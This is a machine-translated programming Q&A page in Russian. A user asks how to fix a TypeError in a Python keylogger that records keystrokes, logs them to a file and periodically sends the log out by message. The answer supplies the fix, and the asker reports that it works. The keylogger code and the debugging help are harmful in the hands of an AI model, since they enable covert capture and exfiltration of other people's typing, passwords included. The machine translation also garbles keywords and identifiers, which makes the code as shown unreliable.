2017-01-04 6 views
0

четкостиfile_input (запись):TypeError: запись() должен быть StR аргумент, а не список

now_time = datetime.datetime.now() 
w = open("LOG.txt", 'a') 
w.write(recorded) 
w.write("\n") 
w.write(now_time) 
w.write("--------------------------------------") 
w .close() 

если имя == "главный":

while 1: 

    status = time.localtime() 
    result = [] 
    keyboard.press_and_release('space') 
    recorded = keyboard.record(until='enter') 
    file_input(recorded) 
    if (status.tm_min == 30): 
     f = open("LOG.txt", 'r') 
     file_content = f.read() 
     f.close() 
     send_simple_message(file_content) 

Я пытаюсь написать кейлоггер в python, и я столкнулся с такой типовой ошибкой, как я могу решить эту проблему?

Я просто поместил записанную переменную в write(), и это приведет к ошибке типа и записанного типа переменной. поэтому я пробовал использовать функцию join func, но это не сработало

+0

вопрос не совсем ясно –

ответ

0

Вы пытаетесь записать файл в w.write(), но он принимает только строку в качестве аргумента. now_time - тип 'datetime', а не строка. если вам не нужно форматировать дату, вы можете просто сделать это вместо:

w.write(str(nowtime)) 

То же самое с

w.write(recorded) 

recorded список событий, вы должны использовать его, чтобы построить string, прежде чем пытаться записать эту строку в файл. Например:

recorded = keyboard.record(until='enter') 
typedstr = " ".join(keyboard.get_typed_strings(recorded)) 

Затем внутри file_input() функции, вы можете:

w.write(typedstr) 
+0

это сработало! действительно ценю это – Gripex

Смежные вопросы